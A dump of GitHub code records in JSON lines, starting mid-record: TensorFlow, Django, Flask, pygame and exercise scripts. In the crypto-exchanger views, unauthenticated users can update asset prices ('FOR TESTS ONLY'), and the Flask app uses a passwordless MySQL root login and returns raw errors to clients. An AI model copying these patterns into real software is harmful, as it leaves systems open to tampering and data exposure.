try to add database so wont reset after restart\"\n }\n)\n","repo_name":"SkueletorTlg/Userbot","sub_path":"log_chats.py","file_name":"log_chats.py","file_ext":"py","file_size_in_byte":3716,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"4416317260","text":"import os\nimport shutil\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\nimport sys\nimport numpy as np\nimport argparse\nimport tensorflow as tf\nimport time\n\nnp.random.seed(1234)\n\nfrom src import CompactCNN, pipeline_extract_features\n\nMEL_PATH = None\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description=\"Run Classify 2.\")\n parser.add_argument('--mel_path', type=str, default='./melon/',\n help='specify the directory where are stored mel-spectrogram and features')\n parser.add_argument('--active_gpu', type=int, default=-1, help='-1: NO GPU, 1 Gpu-ID')\n parser.add_argument('--batch_size', type=int, default=4, help='Batch Size')\n parser.add_argument('--epochs', type=int, default=10, help='Epochs')\n parser.add_argument('--lr', type=float, default=0.001, help='Learning Rate')\n parser.add_argument('--restore_epochs', type=int, default=10, help='Epoch From Which We Have to restoe')\n parser.add_argument('--num_images', type=int, default=-1, help='Random Number of Images')\n parser.add_argument('--start_point', type=int, default=0, help='Start point of Images')\n parser.add_argument('--nb_conv_layers', type=int, default=4, help='Number of Conv. Layers')\n parser.add_argument('--n_verb_batch', type=int, default=10, help='Number of Batch to Print Verbose')\n parser.add_argument('--buffer_size', type=int, default=100, help='Buffer Size')\n\n return parser.parse_args()\n\n\ndef run():\n args = parse_args()\n\n #########################################################################################################\n # MODEL SETTING\n\n MEL_PATH = args.mel_path\n\n batch_size = args.batch_size\n lr = args.lr\n nb_conv_layers = args.nb_conv_layers\n\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(args.active_gpu)\n\n # number of Filters in each layer\n nb_filters = [128, 384, 768, 2048]\n n_mels = 48\n input_shape = (48, 1876, 1)\n normalization = 'batch'\n\n # number of hidden layers at the end of the model\n dense_units = []\n output_shape = 30\n # Output activation\n activation = 'linear'\n dropout = 0\n\n #########################################################################################################\n\n #########################################################################################################\n # READ DATA with pipeline\n dir_list = os.listdir(os.path.join(MEL_PATH, 'arena_mel'))\n num_dir = [int(d) for d in dir_list]\n last_dir = max(num_dir)\n num_all_images = max([int(d.split('.')[0]) for d in\n os.listdir(os.path.join(os.path.join(MEL_PATH, 'arena_mel'), str(last_dir)))]) + 1\n\n if args.num_images == -1:\n num_images = num_all_images\n list_of_images = np.arange(num_all_images) # All the Images are stored from 0 to N-1\n list_of_images = list_of_images[args.start_point:]\n print('EXTRACT FULL SONGS')\n else:\n num_images = args.num_images\n list_of_images = np.arange(num_images - 1) # Random num_images indices\n print('EXTRACT FIRST {0} SONGS'.format(num_images))\n\n print('\\n*********\\nNum. Images {0}'.format(num_images))\n\n BUFFER_SIZE = args.buffer_size\n\n BATCH_SIZE_PER_REPLICA = args.batch_size\n GLOBAL_BATCH_SIZE = BATCH_SIZE_PER_REPLICA\n\n EPOCHS = args.epochs\n\n data = pipeline_extract_features(MEL_PATH, list_of_images, list_of_images, BUFFER_SIZE, GLOBAL_BATCH_SIZE, EPOCHS)\n\n # Create a checkpoint directory to store the checkpoints.\n saving_filepath = './training_weights_epoch_{0}/'\n\n #########################################################################################################\n\n #########################################################################################################\n # Initialize Network\n\n cnn = CompactCNN(input_shape, lr, nb_conv_layers, nb_filters, n_mels, normalization, dense_units,\n output_shape, activation, dropout, args.batch_size, GLOBAL_BATCH_SIZE, None)\n\n cnn.load_weights(saving_filepath.format(args.restore_epochs)).expect_partial()\n print('Model Successfully Restore at Epoch {}!'.format(args.restore_epochs))\n\n # Create\n dir_fc = '{0}original/fully_connected'.format(MEL_PATH)\n dir_fm = '{0}original/feature_maps'.format(MEL_PATH)\n # if os.path.exists(dir_fc):\n # shutil.rmtree(dir_fc)\n # os.makedirs(dir_fc)\n if os.path.exists(dir_fm):\n shutil.rmtree(dir_fm)\n os.makedirs(dir_fm)\n\n start = time.time()\n for idx, batch in enumerate(data):\n song, song_id = batch\n # fcs = cnn.extract_feature(batch, 'flatten')\n fms = cnn.extract_feature(batch, 'elu_2')\n for song_in_batch_id, sid in enumerate(song_id):\n try:\n # np.save('{}/{}.npy'.format(dir_fc, sid.numpy()), fcs[song_in_batch_id])\n np.save('{}/{}.npy'.format(dir_fm, sid.numpy()), fms[song_in_batch_id])\n except:\n print('Error in extracting img {0}'.format(sid.numpy()))\n\n if (idx + 1) % 10 == 0:\n print('Features Extracted for %d/%d Images in %.3f sec' % ((idx + 1)*args.batch_size, num_images, (time.time() - start)))\n start = time.time()\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"merrafelice/PreProcessing-MillionDatasetsPlaylist","sub_path":"extract_features.py","file_name":"extract_features.py","file_ext":"py","file_size_in_byte":5254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72332483734","text":"from double_pendulum_system_2 import *\r\nimport os\r\n# print(os.getcwd())\r\nfile_ext = '1'\r\nos.chdir('C:\\\\Users\\\\bryng\\\\OneDrive - Monash University\\\\PythonPrograms\\\\pendulum_sim\\\\double_pendulum_system_2\\\\{}'.format(file_ext))\r\n# print(os.getcwd())\r\nx1 = np.load('dp_sys_x1_{}.npy'.format(file_ext))\r\ny1 = np.load('dp_sys_y1_{}.npy'.format(file_ext))\r\nx2 = np.load('dp_sys_x2_{}.npy'.format(file_ext))\r\ny2 = np.load('dp_sys_y2_{}.npy'.format(file_ext))\r\n# print(len(x1))\r\n\r\nfrom p5 import *\r\n\r\ni = 0 \r\ndef setup():\r\n \r\n size(500, 500)\r\n background(255)\r\n stroke(0)\r\n\r\ndef draw():\r\n global i\r\n print(frame_rate)\r\n background(255)\r\n stroke(0)\r\n circle(((100 * x1[i] + 250), ( - 100 * y1[i] + 100)), 20)\r\n circle(((100 * x2[i] + 250), ( - 100 * y2[i] + 100)), 20)\r\n i += round((40 * 10 ** -3) ** -1) # The value next to frame rate is the time increment in the calculation\r\n \r\n\r\nif __name__ == '__main__':\r\n run()","repo_name":"BrynGhiffar/double_pendulum_system_2","sub_path":"animate_p5.py","file_name":"animate_p5.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41414469588","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.views import View, generic\nfrom django.http import HttpResponseRedirect\nfrom django.views.generic.base import TemplateView\nfrom django.views.generic import ListView, DetailView\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView\nfrom django.urls import reverse, reverse_lazy\nfrom .models import Blog, Comment, Photo, Profile\nfrom django.contrib.auth import login\nfrom django.contrib.auth.views import PasswordChangeView\nfrom django.contrib.auth.forms import UserCreationForm, UserChangeForm, PasswordChangeForm\nimport uuid\nimport boto3\nimport os\nfrom .forms import SignUpForm, EditProfileForm\n\nclass Home(ListView): # Blog shown page\n model = Blog\n template_name = \"home.html\"\n\n\nclass About(TemplateView): \n template_name = \"about.html\"\n\n\nclass BlogDetail(DetailView): # Blog detail page\n model = Blog\n template_name = \"blog_detail.html\"\n\n def get_context_data(self, **kwargs):\n context = super(BlogDetail, self).get_context_data(**kwargs)\n button = get_object_or_404(Blog, id=self.kwargs['pk'])\n total_likes = button.total_likes\n liked = False\n if button.likes.filter(id=self.request.user.id):\n liked = True\n\n context[\"total_likes\"] = total_likes\n context[\"liked\"] = liked\n return context\n\n\nclass BlogCreate(CreateView):\n model = Blog\n fields = ['title', 'content', 'spoiler']\n template_name = \"blog_create.html\"\n\n def form_valid(self, form):\n form.instance.user = self.request.user\n form.instance.writer = self.request.user\n return super(BlogCreate, self).form_valid(form)\n\n def get_success_url(self):\n return reverse('home')\n\n\n# Update post blog\nclass BlogUpdate(UpdateView):\n model = Blog\n fields = ['title', 'writer', 'content', 'spoiler']\n template_name = \"blog_update.html\"\n\n def get_success_url(self):\n return reverse('blog_detail', kwargs={'pk': self.object.pk})\n\n# Delete post blog\nclass BlogDelete(DeleteView):\n model = Blog\n template_name = \"blog_delete.html\"\n\n def get_success_url(self):\n return reverse('home')\n\n# Comment create\nclass CommentCreate(View):\n\n def post(self, request, pk):\n name = request.POST.get(\"name\")\n content = request.POST.get(\"content\")\n blog = Blog.objects.get(pk=pk)\n Comment.objects.create(name=name, content=content, blog=blog)\n return redirect('blog_detail', pk=pk)\n\n\nclass Signup(View):\n # show a form to fill out\n def get(self, request):\n form = SignUpForm()\n context = {\"form\": form}\n return render(request, \"registration/signup.html\", context)\n # on form submit, validate the form and login the user.\n\n def post(self, request):\n form = UserCreationForm(request.POST)\n if form.is_valid():\n user = form.save()\n login(request, user)\n return redirect(\"home\")\n else:\n context = {\"form\": form}\n return render(request, \"registration/signup.html\", context)\n\n\ndef add_photo(request, blog_id):\n # photo-file will be the \"name\" attribute on the <input type=\"file\">\n photo_file = request.FILES.get('photo-file', None)\n if photo_file:\n s3 = boto3.client('s3')\n # need a unique \"key\" for S3 / needs image file extension too\n key = uuid.uuid4().hex[:6] + \\\n photo_file.name[photo_file.name.rfind('.'):]\n # just in case something goes wrong\n try:\n bucket = os.environ['S3_BUCKET']\n s3.upload_fileobj(photo_file, bucket, key)\n # build the full url string\n url = f\"{os.environ['S3_BASE_URL']}{bucket}/{key}\"\n # we can assign to cat_id or cat (if you have a cat object)\n Photo.objects.create(url=url, blog_id=blog_id)\n except:\n print('An error occurred uploading file to S3')\n # return redirect('blog_detail', blog_id=blog_id)\n # return reverse('home')\n\n\nclass NewPhoto(View):\n def get(self, request, blog_id):\n # print(blog)\n blog = Blog.objects.get(pk=blog_id)\n print(blog.pk)\n return render(request, \"add_photo.html\", {\"blog\": blog})\n\n def post(self, request, blog_id):\n photo_file = request.FILES.get('photo-file', None)\n print(photo_file)\n if photo_file:\n s3 = boto3.client('s3')\n # need a unique \"key\" for S3 / needs image file extension too\n key = uuid.uuid4().hex[:6] + \\\n photo_file.name[photo_file.name.rfind('.'):]\n # just in case something goes wrong\n try:\n bucket = os.environ['S3_BUCKET']\n s3.upload_fileobj(photo_file, bucket, key)\n # build the full url string\n url = f\"{os.environ['S3_BASE_URL']}{bucket}/{key}\"\n # we can assign to cat_id or cat (if you have a cat object)\n Photo.objects.create(url=url, blog_id=blog_id)\n except:\n print('An error occurred uploading file to S3')\n return redirect(\"home\")\n return redirect(f\"/blog/{blog_id}\")\n\n\nclass UpdatePhoto(View):\n def get(self, request, blog_id):\n # print(blog)\n blog = Blog.objects.get(pk=blog_id)\n print(blog.pk)\n return render(request, \"update_photo.html\", {\"blog\": blog})\n\n def post(self, request, blog_id):\n photo_file = request.FILES.get('photo-file', None)\n print(photo_file)\n if photo_file:\n s3 = boto3.client('s3')\n # need a unique \"key\" for S3 / needs image file extension too\n key = uuid.uuid4().hex[:6] + \\\n photo_file.name[photo_file.name.rfind('.'):]\n # just in case something goes wrong\n try:\n bucket = os.environ['S3_BUCKET']\n s3.upload_fileobj(photo_file, bucket, key)\n # build the full url string\n url = f\"{os.environ['S3_BASE_URL']}{bucket}/{key}\"\n # we can assign to cat_id or cat (if you have a cat object)\n Photo.objects.create(url=url, blog_id=blog_id)\n except:\n print('An error occurred uploading file to S3')\n return redirect(\"home\")\n return redirect(f\"/blog/{blog_id}/update\")\n\n\ndef LikeView(request, pk):\n blog = get_object_or_404(Blog, id=request.POST.get('blog_id'))\n liked = False\n if blog.likes.filter(id=request.user.id).exists():\n blog.likes.remove(request.user)\n else:\n blog.likes.add(request.user)\n liked = True\n return HttpResponseRedirect(reverse('blog_detail', args=[str(pk)]))\n\n\nclass EditProfile(View):\n # show a form to fill out\n def get(self, request):\n form = EditProfileForm()\n context = {\"form\": form}\n return render(request, \"registration/profile_edit.html\", context)\n # on form submit, validate the form and login the user.\n\n def post(self, request):\n form = UserChangeForm(request.POST)\n if form.is_valid():\n user = form.save()\n login(request, user)\n return redirect(\"home\")\n else:\n context = {\"form\": form}\n return render(request, \"registration/profile_edit.html\", context)\n\n\nclass PasswordChangeView(PasswordChangeView):\n form = PasswordChangeForm\n success_url = reverse_lazy('password_changed')\n\n\ndef password_changed(request):\n return render(request, 'registration/password_changed.html')\n","repo_name":"Feven98/capstone_blog","sub_path":"main_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37714915350","text":"N=int(input())\ntlr=[]\nfor _ in range(N):\n t,l,r=map(int, input().split())\n if t==2 or t==4:\n r-=0.1\n if t==3 or t==4:\n l+=0.1\n tlr.append((t,l,r))\nret=0\nfor i in range(N-1):\n t1,l1,r1=tlr[i]\n for j in range(i+1,N):\n t2,l2,r2=tlr[j]\n if (l1<=l2 and l2<=r1) or (l2<=l1 and l1<=r2):\n ret+=1\nprint(ret)\n","repo_name":"mfujiwara/atcoder-ruby","sub_path":"ABC/abc207/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11935254618","text":"# count in 10s from 0 to 100\nfor i in range(1, 21, 2):\n print(i, end=' ')\nprint()\n# count down from 20 to 1\nfor i in range(0, 101, 10):\n print(i, end=' ')\nprint()\n# Print n stars\nfor i in range(20, 0, -1):\n print(i, end=' ')\nprint()\n# Print n lines of increasing stars\nnumber_of_stars = int(input(\"Enter number of stars: \"))\nfor i in range(number_of_stars):\n s = \"*\"\n print(s, end=' ')\nnumber_of_stars = int(input(\"Enter number of stars: \"))\nfor i in range(1, number_of_stars + 1):\n s = \"*\"\n print(i * s)\n# sales bonus with loop\nsales = float(input(\"Enter sales: $\"))\nwhile sales >= 0:\n if sales < 1000:\n bonus = sales * 0.1\n print(\"Bonus ${:.2f}\".format(bonus))\n sales = float(input(\"Enter sales: $\"))\n elif sales >= 1000:\n bonus = sales * 0.15\n print(\"Bonus ${:.2f}\".format(bonus))\n sales = float(input(\"Enter sales: $\"))\nelse:\n print(\"Zero Bonus\")\n","repo_name":"SarahWiese/Practicals","sub_path":"prac_01/loops.py","file_name":"loops.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73877803412","text":"#given a string, return a new string where the first and last chars have been exchanged.\ndef front_back(str):\n x=\"\"\n l=0\n for i in str:\n if l==0:\n l+=1\n x=x+str[len(str)-1]\n elif l == (len(str) -1):\n x=x+str[0]\n l+=1\n else:\n x=x+str[l]\n l+=1\n return x","repo_name":"JeterG/Post-Programming-Practice","sub_path":"CodingBat/Python/Warmup_1/front_back.py","file_name":"front_back.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17916109159","text":"# Import modules\nimport pygame\nfrom datetime import datetime\nfrom bs4 import BeautifulSoup\nimport requests\nimport os\n#COLORS!\nblack = (0, 0, 0)\ngrey = (105,105,105)\nwhite = (255, 255, 255)\ncyan = (79, 234, 226)\nindigo = (81, 116, 205)\n\n# Keyword to image list\nweather = {\n \"cloudy\" : \"cloud.png\",\n \"sunny\" : \"sun.png\",\n \"clear\" : \"sun.png\",\n \"mostly sunny\" : \"mostlysunny.png\",\n \"partly cloudy\" : \"mostlysunny.png\",\n \"scattered showers\" : \"showers.png\",\n \"rain\" : \"showers.png\",\n \"light rain showers\" : \"showers.png\",\n \"mostly cloudy\" : \"mostlysunny.png\"\n\n}\n\npygame.init()\n\ndef getTime():\n # Gets current time\n now = datetime.now()\n current_time = now.strftime(\"%I:%M %p\")\n return current_time\n\ndef fillSurface(surface, color):\n # Fill all pixels of a surface with specified color\n w, h = surface.get_size()\n r, g, b = color\n for x in range(w):\n for y in range(h):\n a = surface.get_at((x, y))[3]\n surface.set_at((x, y), pygame.Color(r, g, b, a))\n\ndef renderText(text, font, x, y, color):\n # Renders text\n renderedText = font.render(text, True, color)\n renderedTextRect = renderedText.get_rect()\n renderedTextRect.center = (x, y)\n win.blit(renderedText, renderedTextRect)\n\ndef renderShadowText(text, font, x, y, offset, color, dropColor):\n # Renders dropshadow text\n renderText(text, font, x+offset, y+offset, dropColor)\n renderText(text, font, x, y, color)\n\n\ndef renderImage(image, x, y, color=\"\"):\n # Renders images\n renderedImg = pygame.image.load(image)\n renderedImgRect = renderedImg.get_rect()\n renderedImgRect.center = (x, y)\n if color != \"\":\n fillSurface(renderedImg, color)\n win.blit(renderedImg, renderedImgRect)\n\ndef renderShadowImage(image, x, y, offset, dropcolor, color=\"\"):\n renderImage(image, x+offset, y+offset, dropcolor)\n renderImage(image, x, y, color)\n \n\n\n\n\n# Fonts and pygame display variables\nclockFont = pygame.font.Font(os.path.join(\"fonts\", \"ShareTechMono.ttf\"), 150)\nweatherFont = pygame.font.Font(os.path.join(\"fonts\", \"ShareTechMono.ttf\"), 180)\nbgImage = pygame.image.load(os.path.join(\"images\", \"bg.png\"))\nwidth = 1280\nheight = 720\nfps = 60\ndisplay = 1\nwin = pygame.display.set_mode((width, height))\nhasWeather = 0\nclock = pygame.time.Clock()\n\n# On what seconds to display certain screens\nscreen1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50]\n\npygame.display.set_caption(\"Dashboard\")\n\nrun = True\nwhile run:\n clock.tick(60)\n #time.sleep(1/fps)\n now = datetime.now()\n current_seconds = int(now.strftime(\"%S\"))\n\n if display == 1:\n if current_seconds in screen1:\n # Weather Screen\n if hasWeather == 0:\n headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}\n res = requests.get(f'https://www.google.com/search?q=Lansdale+weather&oq=Lansdale+weather&aqs=chrome.0.35i39l2j0l4j46j69i60.6128j1j7&sourceid=chrome&ie=UTF-8',headers=headers)\n soup = BeautifulSoup(res.text,'html.parser') \n info = soup.select('#wob_dc')[0].getText().strip() \n degrees = str(soup.select('#wob_tm')[0].getText().strip())\n hasWeather = 1\n weatherImg = os.path.join(\"images\", weather[info.lower()])\n win.blit(bgImage, (0, 0))\n renderShadowText(degrees + \"°F\", weatherFont, width/2, height/6*5, 7, cyan, indigo)\n renderShadowImage(weatherImg, width/2, height/3, 7, indigo, cyan)\n\n else:\n # Time Screen\n win.blit(bgImage, (0, 0))\n renderShadowText(getTime(), clockFont, width/2, height/2, 7, cyan, indigo)\n hasWeather = 0\n \n\n elif display == 2:\n win.fill(black)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n \n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n run = False\n\n if event.key == pygame.K_SPACE:\n if display <= 1:\n display += 1\n elif display == 2:\n display = 1\n\n\n\n pygame.display.update()","repo_name":"Ferr1s56/pi-dashboard","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10705940766","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 21 15:11:00 2018\n\n@author: 桑叶\n\"\"\"\n#参数1:lncRNAname_cluster_coverage?.txt文件 伪参数2(不用跟在.py文件后):lncRNAname_cluster_coverage.txt(通过 参数1.split('.')[0][:-2] + '.txt' 来实现,注意,因为lncRNAname_cluster_coverage?.txt和lncRNAname_cluster_coverage.txt在同一个目录下才可以这样搞) \n#输出lncRNAname_cluster_coverage?_new.txt文件\n\n#读取lncRNAname_cluster_coverage?.txt和lncRNAname_cluster_coverage.txt,保留lncRNAname_cluster_coverage.txt中lncRNAname_cluster_coverage?.txt里有的clusters.这一步是因为lncRNAname_cluster_coverage?.txt中过滤出来的clusters的信息不全,下一步分析需要过滤出来的clusers信息全\nimport sys\nimport os\n\npath=os.getcwd()\nif not os.path.exists(path):\n os.makedirs(path)\n \ncov30_list = []\nwith open(sys.argv[1], 'r') as f1:\n for line in f1:\n info = line.split()\n numorder = info[0]\n cov30_list.append(numorder) \ncluster_Dict = {}\nwith open(sys.argv[1].split('.t')[0][:-2] + '.txt', 'r') as f2:\n for line in f2:\n if line[:2] != '\\n':\n info = line.split()\n if info[0].isdigit():\n key = info[0]\n cluster_Dict[key] = []\n else:\n if line[0] != 'c':\n cluster_Dict[key].append(line)\n else:\n cluster_Dict[key+' '+ line.strip()] = cluster_Dict[key]\n del cluster_Dict[key]\n\nf_out = open(path + '/' + sys.argv[1].split('.')[0] + '_new.txt', 'a+')\nfor key,value in cluster_Dict.items():\n if key.split()[0] in cov30_list: \n f_out.write(key + ' ' + '-*140\\n' + ''.join(value[0:]))\nf1.close()\nf2.close() \nf_out.close() \n\n\n \n\n ","repo_name":"zhexia/lncRNA-project-script","sub_path":"blast_clusters_coverage_fliter_new.py","file_name":"blast_clusters_coverage_fliter_new.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15700552457","text":"from django.shortcuts import get_object_or_404\nfrom rest_framework import generics\nfrom drf_spectacular.utils import extend_schema_view, extend_schema\nfrom rest_framework.permissions import IsAuthenticated, IsAdminUser, AllowAny\nfrom transactions.models.assets import Asset\nfrom transactions.serializers.assets import AssetSerializer, UpdatePriceAssetSerializer\nfrom rest_framework.response import Response\n\n@extend_schema_view(\n patch=extend_schema(summary='Редактирование цены актива', tags=['Активы'])\n)\nclass UpdateAssetPriceView(generics.UpdateAPIView):\n queryset = Asset.objects.all()\n serializer_class = UpdatePriceAssetSerializer\n # permission_classes = (IsAdminUser,)\n # FOR TESTS ONLY\n permission_classes = (AllowAny,)\n http_method_names = ('patch',)\n lookup_field = 'symbol'\n\n def get_object(self):\n symbol = self.request.data.get('symbol')\n obj = get_object_or_404(Asset, symbol=symbol)\n self.check_object_permissions(self.request, obj)\n return obj\n \n\ndef get_intersections(assets_list):\n crosses = []\n for asset1 in assets_list:\n for asset2 in assets_list:\n if asset1 != asset2:\n asset_pair = f\"{asset1['asset']}/{asset2['asset']}\"\n cross = {\n 'asset': asset_pair,\n 'asset_id': asset1['asset_id'] if asset1['asset'] == asset_pair.split('/')[0] else asset2['asset_id'],\n 'asset_pay_id': asset1['asset_id'] if asset1['asset'] == asset_pair.split('/')[1] else asset2['asset_id']\n }\n crosses.append(cross)\n sorted_crosses = sorted(crosses, key=lambda c: c['asset'])\n return sorted_crosses\n\n@extend_schema_view(\n get=extend_schema(summary='Получение пересечений всех активов', tags=['Активы'])\n)\nclass GetCrossesAssetView(generics.ListAPIView):\n queryset = Asset.objects.all()\n serializer_class = AssetSerializer\n # permission_classes = (IsAuthenticated,)\n # FOR TESTS ONLY\n permission_classes = (AllowAny,)\n http_method_names = ('get',)\n\n def get(self, request, *args, **kwargs):\n assets_list = [{'asset':asset.symbol, 'asset_id':asset.id} for asset in self.get_queryset()]\n intersections = get_intersections(assets_list)\n serializer = self.get_serializer(self.get_queryset(), many=True)\n return Response(intersections)\n","repo_name":"bandicuttt/crypto-exchanger-DRF-React-","sub_path":"server/transactions/views/assets.py","file_name":"assets.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"44919889432","text":"from pytils.translit import slugify\n\n\ndef unique_slug_generator(model, title):\n slug = slugify(title)\n\n filter = model.objects.filter(slug=slug)\n if filter.exists():\n id = model.objects.latest(\"id\").id + 1\n slug = f\"{slug}-{id}\"\n return slug\n\n","repo_name":"jussupov/shop","sub_path":"utilities/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4807249581","text":"import math\n\n# f = open('data/day09-sample.txt', 'r')\nf = open('data/day09-final.txt', 'r')\nsteps = [(0, 1), (0, -1), (1, 0), (-1, 0)]\n\n\ndef part1(l):\n locations = []\n count = 0\n n = len(l)\n m = len(l[0])\n for i in range(n):\n for j in range(m):\n ref = l[i][j]\n neighbours = list([(sx, sy) for sx, sy in steps if i+sx < n and j+sy < m])\n if sum([1 for sx, sy in neighbours if ref < l[i+sx][j+sy]]) == len(neighbours):\n count += ref + 1\n locations.append((i,j))\n return count, locations\n\n\ndef part2(board, locations):\n sizes = []\n for i, j in locations:\n sizes.append(bfs((i, j), board))\n return math.prod(sorted(sizes, reverse=True)[0:3])\n\n\ndef bfs(p, board):\n n = len(board)\n m = len(board[0])\n q = [p]\n count = 1\n visited = set(p)\n while len(q) != 0:\n i,j = q.pop()\n neighbours = list([(sx, sy) for sx, sy in steps if 0 <= i+sx < n and 0 <= j+sy < m and board[i+sx][j+sy] != 9 and (i+sx, j+sy) not in visited])\n valid = [(i+sx, j+sy) for sx, sy in neighbours if board[i+sx][j+sy] > board[i][j]]\n count += len(valid)\n visited.update(valid)\n q.extend(valid)\n return count\n\n\ninput = []\nfor l in f:\n input.append(list([int(x) for x in l.strip()]))\n\nlows = part1(input.copy())\nprint('part1: ', lows[0])\nprint('part2: ', part2(input.copy(), lows[1]))","repo_name":"kronenthaler/AdventOfCode","sub_path":"2021/day09.py","file_name":"day09.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36159258687","text":"from flask import Flask, render_template, url_for, request\nimport mysql\nfrom mysql.connector import Error\nimport json\n\napp = Flask(\"__name__\", template_folder=\"\")\napp.config[\"SEND_FILE_MAX_AGE_DEFAULT\"] = 0\n\n\n@app.route(\"/\")\n@app.route(\"/index.html\", methods=[\"GET\", \"POST\"])\ndef index():\n return render_template(\"index.html\")\n\n\n@app.route(\"/getxml\", methods=[\"GET\"])\ndef getmydata():\n try:\n conn = mysql.connector.connect(\n host=\"127.0.0.1\", port=3307, database=\"calm_db\", user=\"root\", password=\"\"\n )\n cur = conn.cursor()\n cur.execute(\"SELECT * FROM tweets\")\n res = cur.fetchone()[1]\n cur.close()\n conn.close()\n return res\n except:\n return -1\n\n\n@app.route(\"/putxml\", methods=[\"POST\"])\ndef postmydata():\n data = request.form[\"data\"]\n try:\n\n conn = mysql.connector.connect(\n host=\"127.0.0.1\", port=3307, database=\"calm_db\", user=\"root\", password=\"\"\n )\n cur = conn.cursor()\n cur.execute(\"UPDATE tweets SET tweet = %s WHERE id = %s\", (data, 1))\n print(cur.rowcount)\n conn.commit()\n cur.close()\n conn.close()\n return \"Success\"\n except:\n return \"Fail\"\n\n\n@app.route(\"/putjson\", methods=[\"POST\"])\ndef postmyjson():\n data = request.form[\"data\"]\n data = json.loads(data)\n # print(data)\n try:\n\n conn = mysql.connector.connect(\n host=\"127.0.0.1\", port=3307, database=\"calm_db\", user=\"root\", password=\"\"\n )\n cur = conn.cursor()\n cur.execute(\n \"INSERT INTO contact ( `fname`, `lname`, `gender`, `reason`, `num_people`, `date`, `email`, `card_num`, `contact`, `city`, `state`, `zip`) values (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\",\n (\n data[\"fname\"],\n data[\"lname\"],\n data[\"gender\"],\n data[\"reason\"],\n data[\"num_people\"],\n data[\"date\"],\n data[\"email\"],\n data[\"card_num\"],\n data[\"contact\"],\n data[\"city\"],\n data[\"state\"],\n data[\"zip\"],\n ),\n )\n print(cur.rowcount)\n print(\"Should be done inserting\")\n conn.commit()\n cur.close()\n conn.close()\n return \"Success\"\n except Error as e:\n return str(e)\n\n","repo_name":"usuallyunusual/Calm","sub_path":"flask_container.py","file_name":"flask_container.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10915115233","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\n\n\nfrom book.models import BookInfo\n\n# Create your views here.\n\n\n\ndef create_book(request):\n book = BookInfo.objects.create(\n name='abc',\n pub_date='2001-9-4',\n readcount=10\n )\n return HttpResponse('create')\n\n\n'''\nurl以?分割为两部分,后面一部分为查询字符串,多个数据以&拼接\n查询字符串类似于字典\n'''\ndef shop(request, city_id, mobile):\n\n query_params = request.GET\n print(query_params)\n oder = query_params.getlist('key')\n print(oder)\n\n print(city_id, mobile)\n return HttpResponse('起火啦!')\n\n\ndef register(request):\n\n data = request.POST\n print(data)\n\n return HttpResponse('ok')\n\n\ndef json(request):\n body = request.body\n body_str = body.decode()\n print(body_str) # 字符串\n print(type(body_str))\n # json的字符串可以转换为python的字典\n import json\n body_dict = json.loads(body_str)\n print(body_dict)\n # 请求头的数据\n # print(request.META)\n print(request.META['SERVER_PORT'])\n return HttpResponse('json')\n\n\ndef method(request):\n\n print(request.method)\n return HttpResponse('method')\n\n\nfrom django.http import JsonResponse\n\n\ndef res(request):\n # HTTP status code must be an integer from 100 to 599.\n # response = HttpResponse('res')\n # response['name']='xiayuxuan'\n\n # json-->dict\n # dict-->json\n info = {\n \"name\": \"itcast\",\n \"address\": \"shunyi\"\n }\n girl_firends=[\n {\n \"name\": \"kunkun\",\n \"address\": \"loudi\"\n },\n {\n \"name\": \"siri\",\n \"address\": \"changsha\"\n }\n ]\n # data 返回响应数据 一般是字典类型\n \"\"\"\n safe =True 表示的data是字典数据\n JsonResponse 可以把字典转换为json\n \"\"\"\n # response = JsonResponse(data=girl_firends, safe=False)\n # return response\n # 重定向\n return redirect(\"http://www.baidu.com\")\n\n\n# 